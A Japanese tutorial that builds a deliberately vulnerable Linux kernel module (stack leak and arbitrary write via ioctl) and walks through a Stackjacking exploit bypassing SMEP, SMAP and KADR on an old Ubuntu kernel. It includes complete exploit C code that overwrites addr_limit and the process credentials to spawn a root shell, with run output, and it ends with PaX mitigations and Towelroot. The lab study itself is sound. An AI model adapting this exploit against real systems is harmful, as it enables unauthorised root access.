LinuxカーネルモジュールでStackjackingによるSMEP+SMAP+KADR回避をやってみる
「Linuxカーネルモジュールでret2usrによる権限昇格をやってみる」では、Kernel Address Display Restriction(KADR)を無効にした上で/proc/kallsyms
からカーネルシンボルのアドレスを取得し、カーネル空間からユーザ空間の関数を実行させることにより権限昇格を行った(ret2usr)。
ret2usrはIntel SMEPで防ぐことができるが、SMEPを回避する手法としてStackjackingと呼ばれるものが知られている。
そこで、ここではStackjackingによるSMEP回避をやってみる。
また、StackjackingはSMAPおよびKADRの回避も行うことができるので、合わせてこれらも有効な状況を仮定する。
環境
Ubuntu 14.04.1 LTS 64bit版、Intel SMEP無効
$ uname -a Linux vm-ubuntu64 3.13.0-44-generic #73-Ubuntu SMP Tue Dec 16 00:22:43 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.1 LTS Release: 14.04 Codename: trusty $ gcc --version gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2 $ cat /proc/cpuinfo | grep flags flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx rdtscp lm constant_tsc rep_good nopl pni monitor ssse3 lahf_lm
脆弱性のあるカーネルモジュールを書いてみる
Stackjackingは任意アドレス書き換え(arbitrary address write)に加え、カーネルスタック内の任意のアドレスのリーク(kernel stack address leak)を必要とする。 カーネルスタックのアドレスリークは主にスタック上の配列や構造体の未初期化メンバの参照により発生する。
そこで、「Linuxカーネルモジュールでret2usrによる権限昇格をやってみる」と同様、話を簡単にするために意図的にarbitrary address writeおよびkernel stack address leakを可能にしたカーネルモジュールを書いてみる。
/* mychardev.c */ #include <linux/kernel.h> #include <linux/module.h> #include <linux/fs.h> #include <linux/uaccess.h> #include "mychardev.h" #define DEVICE_NAME "mychardev" static int device_open(struct inode *inode, struct file *file) { try_module_get(THIS_MODULE); return 0; } static int device_release(struct inode *inode, struct file *file) { module_put(THIS_MODULE); return 0; } static ssize_t device_read(struct file *filp, char *buffer, size_t length, loff_t *offset) { return -EINVAL; } static ssize_t device_write(struct file *filp, const char *buffer, size_t length, loff_t * offset) { return -EINVAL; } long device_ioctl(struct file *file, unsigned int ioctl_num, unsigned long ioctl_param) { unsigned long buf[100]; struct ioctl_sl_arg *sl_arg; struct ioctl_aaw_arg *aaw_arg; buf[0] = 0; switch (ioctl_num) { case IOCTL_STACK_LEAK: sl_arg = (struct ioctl_sl_arg *)ioctl_param; put_user(buf[sl_arg->index], &sl_arg->value); return 0; case IOCTL_AAW: aaw_arg = (struct ioctl_aaw_arg *)ioctl_param; *(aaw_arg->ptr) = aaw_arg->value; return 0; } return -EINVAL; } static struct file_operations fops = { .open = device_open, .release = device_release, .read = device_read, .write = device_write, .unlocked_ioctl = device_ioctl, }; int init_module(void) { int ret_val; ret_val = register_chrdev(MAJOR_NUM, DEVICE_NAME, &fops); if (ret_val < 0) { printk(KERN_ALERT "Registering char device failed with %d\n", ret_val); return ret_val; } printk(KERN_INFO "try 'sudo mknod %s c %d 0'\n", DEVICE_FILE_NAME, MAJOR_NUM); return 0; } void cleanup_module(void) { unregister_chrdev(MAJOR_NUM, DEVICE_NAME); }
/* mychardev.h */ #ifndef MYCHARDEV_H #define MYCHARDEV_H #include <linux/ioctl.h> #define MAJOR_NUM 200 #define DEVICE_FILE_NAME "mychardev" #define IOCTL_STACK_LEAK _IOW(MAJOR_NUM, 0, struct ioctl_sl_arg *) #define IOCTL_AAW _IOR(MAJOR_NUM, 1, struct ioctl_aaw_arg *) struct ioctl_sl_arg { int index; unsigned long value; }; struct ioctl_aaw_arg { unsigned long *ptr; unsigned long value; }; #endif
# Makefile obj-m += mychardev.o all: [TAB]make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: [TAB]make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
上のコードでは、ioctl(2)でIOCTL_STACK_LEAK
を呼ぶと、引数に与えたioctl_sl_arg
構造体で指定した配列インデックスにある未初期化メモリの値を取得する。
また、IOCTL_AAW
を呼ぶと、引数に与えたioctl_aaw_arg
構造体で指定したアドレスを指定した値に書き換える。
なお、put_user関数はカーネルモードにおいてユーザ空間にデータを書き込むカーネル関数である。
カーネルモジュールをコンパイル、インストールし、インストールされていることを確認してみる。
$ make make -C /lib/modules/3.13.0-44-generic/build M=/home/user/tmp/mychardev modules make[1]: Entering directory `/usr/src/linux-headers-3.13.0-44-generic' CC [M] /home/user/tmp/mychardev/mychardev.o Building modules, stage 2. MODPOST 1 modules CC /home/user/tmp/mychardev/mychardev.mod.o LD [M] /home/user/tmp/mychardev/mychardev.ko make[1]: Leaving directory `/usr/src/linux-headers-3.13.0-44-generic' $ sudo insmod mychardev.ko $ lsmod Module Size Used by mychardev 12640 0
上の結果から、コンパイルに成功しインストールできていることがわかる。
次に、コード中で出力するようにしておいたカーネルメッセージに従い、キャラクタデバイスを作成する。
$ dmesg | tail [ 15.417627] nf_conntrack version 0.5.0 (7952 buckets, 31808 max) [ 15.780644] init: plymouth-upstart-bridge main process ended, respawning [ 16.650019] aufs 3.13-20140303 [ 17.030365] IPv6: ADDRCONF(NETDEV_UP): docker0: link is not ready [ 17.628478] audit_printk_skb: 90 callbacks suppressed [ 17.628482] type=1400 audit(1427382411.453:42): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="docker-default" pid=1243 comm="apparmor_parser" [ 819.449337] mychardev: module license 'unspecified' taints kernel. [ 819.449340] Disabling lock debugging due to kernel taint [ 819.449365] mychardev: module verification failed: signature and/or required key missing - tainting kernel [ 819.450393] try 'sudo mknod mychardev c 200 0' $ sudo mknod mychardev c 200 0 $ ls -l mychardev crw-r--r-- 1 root root 200, 0 Mar 27 00:21 mychardev
Stackjackingの概要
Stackjackingは、まず取得したカーネルスタック内のアドレスからカーネルスタックのベースアドレスを計算する。
カーネルスタックのベースアドレスは、leaked_addr & ~0x1FFF
を計算することにより求めることができる。
カーネルスタックのベースアドレスには、実行中のスレッドに関するthread_info構造体が配置されている。 thread_info構造体の内容は次の通り。
25 struct thread_info { 26 struct task_struct *task; /* main task structure */ 27 struct exec_domain *exec_domain; /* execution domain */ 28 __u32 flags; /* low level flags */ 29 __u32 status; /* thread synchronous flags */ 30 __u32 cpu; /* current CPU */ 31 int saved_preempt_count; 32 mm_segment_t addr_limit; 33 struct restart_block restart_block; 34 void __user *sysenter_return; 35 #ifdef CONFIG_X86_32 36 unsigned long previous_esp; /* ESP of the previous stack in 37 case of nested (IRQ) stacks 38 */ 39 __u8 supervisor_stack[0]; 40 #endif 41 unsigned int sig_on_uaccess_error:1; 42 unsigned int uaccess_err:1; /* uaccess failed */ 43 };
この構造体のaddr_limit
は、ユーザ空間のアドレス上限を示すものであり、通常x86の場合0xc0000000
、x64の場合0x7ffffffff000
となっている。
この値はカーネル関数において、ユーザ空間のプログラムからメモリアクセスを行う際の制限に用いられている(参考)。
したがって、この値を書き換えればユーザ空間のプログラムからカーネル空間のアドレスへのアクセスを可能にできる。
addr_limitを書き換えた後は、pipe(2)を通してread/writeを行うことでカーネル空間を含めた任意のアドレスの読み書きを行うことができる。 そこで、次にthread_info構造体の先頭にあるtask_struct構造体を参照する。 task_struct構造体はプロセスに関する各種情報が格納された非常に大きな構造体であるが、ここでは権限情報に関連するreal_credおよびcredに着目する。
1042 struct task_struct { 1043 volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */ 1044 void *stack; 1045 atomic_t usage; 1046 unsigned int flags; /* per process flags, defined below */ 1047 unsigned int ptrace; 1048 (snip) 1191 /* process credentials */ 1192 const struct cred __rcu *real_cred; /* objective and real subjective task 1193 * credentials (COW) */ 1194 const struct cred __rcu *cred; /* effective (overridable) subjective task 1195 * credentials (COW) */ 1196 char comm[TASK_COMM_LEN]; /* executable name excluding path 1197 - access with [gs]et_task_comm (which lock 1198 it with task_lock()) 1199 - initialized normally by setup_new_exec */ (snip) 1453 #if defined(CONFIG_BCACHE) || defined(CONFIG_BCACHE_MODULE) 1454 unsigned int sequential_io; 1455 unsigned int sequential_io_avg; 1456 #endif 1457 };
ここで、real_credは他のプロセスから見たプロセスそのものの権限、credは他のプロセスやファイルなどにアクセスする際の権限を表すcred構造体へのポインタである。 cred構造体の内容は次の通り。
79 /* 80 * The security context of a task 81 * 82 * The parts of the context break down into two categories: 83 * 84 * (1) The objective context of a task. These parts are used when some other 85 * task is attempting to affect this one. 86 * 87 * (2) The subjective context. These details are used when the task is acting 88 * upon another object, be that a file, a task, a key or whatever. 89 * 90 * Note that some members of this structure belong to both categories - the 91 * LSM security pointer for instance. 92 * 93 * A task has two security pointers. task->real_cred points to the objective 94 * context that defines that task's actual details. The objective part of this 95 * context is used whenever that task is acted upon. 96 * 97 * task->cred points to the subjective context that defines the details of how 98 * that task is going to act upon another object. This may be overridden 99 * temporarily to point to another security context, but normally points to the 100 * same context as task->real_cred. 101 */ 102 struct cred { 103 atomic_t usage; 104 #ifdef CONFIG_DEBUG_CREDENTIALS 105 atomic_t subscribers; /* number of processes subscribed */ 106 void *put_addr; 107 unsigned magic; 108 #define CRED_MAGIC 0x43736564 109 #define CRED_MAGIC_DEAD 0x44656144 110 #endif 111 kuid_t uid; /* real UID of the task */ 112 kgid_t gid; /* real GID of the task */ 113 kuid_t suid; /* saved UID of the task */ 114 kgid_t sgid; /* saved GID of the task */ 115 kuid_t euid; /* effective UID of the task */ 116 kgid_t egid; /* effective GID of the task */ 117 kuid_t fsuid; /* UID for VFS ops */ 118 kgid_t fsgid; /* GID for VFS ops */ 119 unsigned securebits; /* SUID-less security management */ 120 kernel_cap_t cap_inheritable; /* caps our children can inherit */ 121 kernel_cap_t cap_permitted; /* caps we're permitted */ 122 kernel_cap_t cap_effective; /* caps we can actually use */ 123 kernel_cap_t cap_bset; /* capability bounding set */ 124 #ifdef CONFIG_KEYS 125 unsigned char jit_keyring; /* default keyring to attach requested 126 * keys to */ 127 struct key __rcu *session_keyring; /* keyring inherited over fork */ 128 struct key *process_keyring; /* keyring private to this process */ 129 struct key *thread_keyring; /* keyring private to this thread */ 130 struct key *request_key_auth; /* assumed request_key authority */ 131 #endif 132 #ifdef CONFIG_SECURITY 133 void *security; /* subjective LSM security */ 134 #endif 135 struct user_struct *user; /* real user ID subscription */ 136 struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ 137 struct group_info *group_info; /* supplementary groups for euid/fsgid */ 138 struct rcu_head rcu; /* RCU deletion hook */ 139 };
つまり、この構造体のuid等一式を0に書き換えることで、root権限への権限昇格を行うことができる。
以上をまとめると次のようになる。
- カーネルスタック内のアドレスを未初期化メンバの参照などにより取得する(kernel stack address leak)
- 取得したアドレスからカーネルスタックのベースアドレスを計算する
- カーネルスタックのベースアドレスにあるthread_info構造体に着目し、addr_limitをarbitrary address writeにより書き換える
- pipe(2)でパイプを作り、以降これを介して任意アドレスへの読み書きを行う
- thread_info構造体の最初のメンバであるtask_struct構造体を参照し、real_credおよびcredを特定する
- real_credおよびcredにあるuid他一式を書き換え、権限昇格を行う
この一連の流れにおいてカーネルモードへの遷移は行われないため、SMEPおよびSMAPを回避できることがわかる。 また、カーネルシンボルのアドレスも利用しないため、KADRが有効な条件下でも動作することがわかる。
エクスプロイトコードを書いてみる
上の内容をもとに、エクスプロイトコードを書くと次のようになる。
/* ioctl.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include "mychardev.h" #define KSTACKBASE 0xffff880000000000 #define KSTACKTOP 0xffff8800c0000000 #define KERNELBASE 0xffff880000000000 int pipefd[2]; int is_kernel_stack(unsigned long value) { return (KSTACKBASE <= value && value < KSTACKTOP); } int is_kernel_pointer(void *ptr) { unsigned long value = (unsigned long)ptr; return (KERNELBASE <= value); } int kmemcpy(void *dest, void *src, size_t size) { write(pipefd[1], src, size); read(pipefd[0], dest, size); return size; } int main() { int fd; int ret_val; struct ioctl_sl_arg sl_arg; struct ioctl_aaw_arg aaw_arg; /* open the vulnerable device */ fd = open(DEVICE_FILE_NAME, 0); if (fd < 0) { printf("Can't open device file: %s\n", DEVICE_FILE_NAME); exit(1); } puts("[*] leak kernel stack values"); sl_arg.index = 0; sl_arg.value = 0; while (!is_kernel_stack(sl_arg.value)) { ret_val = ioctl(fd, IOCTL_STACK_LEAK, &sl_arg); if (ret_val < 0) { printf("ioctl failed: %d\n", ret_val); exit(1); } printf("%lx\n", sl_arg.value); sl_arg.index++; } void *kstack = (void *)(sl_arg.value & ~0x1fff); printf("[+] kernel stack address = %p\n", kstack); puts("[*] overwrite thread_info->addr_limit"); void *addr_limit = kstack + sizeof(void *)*2 + sizeof(int)*4; aaw_arg.ptr = addr_limit; aaw_arg.value = -1UL; ret_val = ioctl(fd, IOCTL_AAW, &aaw_arg); if (ret_val < 0) { printf("ioctl failed: %d\n", ret_val); exit(1); } close(fd); ret_val = pipe(pipefd); if (ret_val < 0) { printf("pipe failed: %d\n", ret_val); exit(1); } void *task_struct; kmemcpy(&task_struct, kstack, sizeof(void *)); printf("[+] task_struct = %p\n", task_struct); void *real_cred; void *cred; unsigned int uid; puts("[*] seek task_struct->real_cred"); while (1) { task_struct += sizeof(void *); kmemcpy(&real_cred, task_struct, sizeof(void *)); if (!is_kernel_pointer(real_cred)) { printf("%p -> %p\n", task_struct, real_cred); continue; } kmemcpy(&uid, real_cred + sizeof(unsigned int), sizeof(unsigned int)); printf("%p -> %p -> %u\n", task_struct, real_cred, uid); if (getuid() == uid) { cred = task_struct + sizeof(void *); break; } } printf("[+] task_struct->real_cred = %p\n", real_cred); printf("[+] task_struct->cred = %p\n", cred); puts("[*] overwrite task_struct->real_cred members"); unsigned int zeroarray[8] = {}; kmemcpy(real_cred + 4, &zeroarray, sizeof(zeroarray)); kmemcpy(&uid, real_cred + sizeof(unsigned int), sizeof(unsigned int)); printf("[+] task_struct->real_cred->uid = %d\n", uid); puts("[*] overwrite task_struct->cred to the same address as real_cred"); kmemcpy(cred, &real_cred, sizeof(void *)); kmemcpy(&cred, cred, sizeof(void *)); printf("[+] task_struct->cred = %p\n", cred); close(pipefd[0]); close(pipefd[1]); printf("[+] getuid() = %d\n", getuid()); execl("/bin/sh", "sh", NULL); }
ここで、is_kernel_stack
関数およびis_kernel_pointer
関数はアドレスの値をもとにスタックアドレス、カーネル空間内のアドレスかどうかを判定する関数である。
また、kmemcpy
関数はあらかじめ作っておいたパイプを介してアドレスの読み書きを行う関数である。
コードの内容を簡単にまとめると次のようになる。
- 脆弱性のあるキャラクタデバイスを開き、kernel address stack leakによりスタックアドレスを指すポインタを探す
- 発見したアドレスからカーネルスタックのベースアドレスを計算する
- arbitrary address writeにより、ベースアドレスにあるthread_info構造体のaddr_limitを
-1UL
(0xffffffffffffffff)に書き換える kmemcpy
関数で使うパイプを作る- thread_info構造体の最初のメンバであるtask_struct構造体のアドレスを読み出す
- task_struct構造体から、real_credおよびcredを探す
- real_credのuid他一式をすべて0で書き換える
- credが保持するポインタを、real_credと同じcred構造体を指すように書き換える
- パイプを閉じ、権限昇格が行われた状態でシェルを起動する
実際にエクスプロイトコードを実行する前に、KADRを有効にしておく。
$ sudo sysctl -w kernel.kptr_restrict=1 kernel.kptr_restrict = 1 $ cat /proc/kallsyms | head 0000000000000000 D irq_stack_union 0000000000000000 D __per_cpu_start 0000000000000000 d exception_stacks 0000000000000000 D gdt_page 0000000000000000 D cpu_llc_shared_map 0000000000000000 D cpu_core_map 0000000000000000 D cpu_sibling_map 0000000000000000 D cpu_llc_id 0000000000000000 D cpu_number 0000000000000000 D x86_bios_cpu_apicid
$ gcc ioctl.c $ ./a.out [*] leak kernel stack values 0 ffffffff8109ec18 ffff88003c49fbf0 [+] kernel stack address = 0xffff88003c49e000 [*] overwrite thread_info->addr_limit [+] task_struct = 0xffff88003c915fc0 [*] seek task_struct->real_cred 0xffff88003c915fc8 -> 0xffff88003c49e000 -> 4294936576 0xffff88003c915fd0 -> 0x40600000000002 0xffff88003c915fd8 -> (nil) 0xffff88003c915fe0 -> (nil) (snip) 0xffff88003c916440 -> 0xffff88003c916438 -> 4294936576 0xffff88003c916448 -> 0xffff88003c916448 -> 4294936576 0xffff88003c916450 -> 0xffff88003c916448 -> 4294936576 0xffff88003c916458 -> 0xffff88003a172000 -> 1000 [+] task_struct->real_cred = 0xffff88003a172000 [+] task_struct->cred = 0xffff88003c916460 [*] overwrite task_struct->real_cred members [+] task_struct->real_cred->uid = 0 [*] overwrite task_struct->cred to the same address as real_cred [+] task_struct->cred = 0xffff88003a172000 [+] getuid() = 0 # id uid=0(root) gid=0(root) groups=0(root) #
SMEP、SMAPについては未検証であるが、KADRが有効な条件下でrootシェルが起動できていることが確認できた。
カーネルモジュールをアンインストールする
$ sudo rmmod mychardev.ko
PaXによる対策とTowelroot
StackjackingはもともとUDEREFをはじめとするPaXのバイパス手法として公表されたものであり、現在のPaXにおいてはthread_info構造体をtask_struct構造体の中に移動することで対策されている(参考)。
また、Android 4.4.2以前で有効なTowelrootと呼ばれるroot化手法は、CVE-2014-3153(Linuxカーネルにおけるfutex_requeueの脆弱性)を用いStackjackingを行うことで権限昇格するものである。
関連リンク
- jon.oberheide.org - blog - stackjacking your way to grsec/pax bypass
- SIMPLE IS BETTER: Is this a good security design in Linux kernel? -- connections between thread_info and kernel stack
- SMEP: What is It, and How to Beat It on Linux - It's Bugs All the Way Down
- RCUの全面書き直しも! 2.6.29は何が変わった?(2/2) - @IT
- Exploiting the Futex Bug and uncovering Towelroot | Tinyhack.com
- CVE-2014-3153 aka towelroot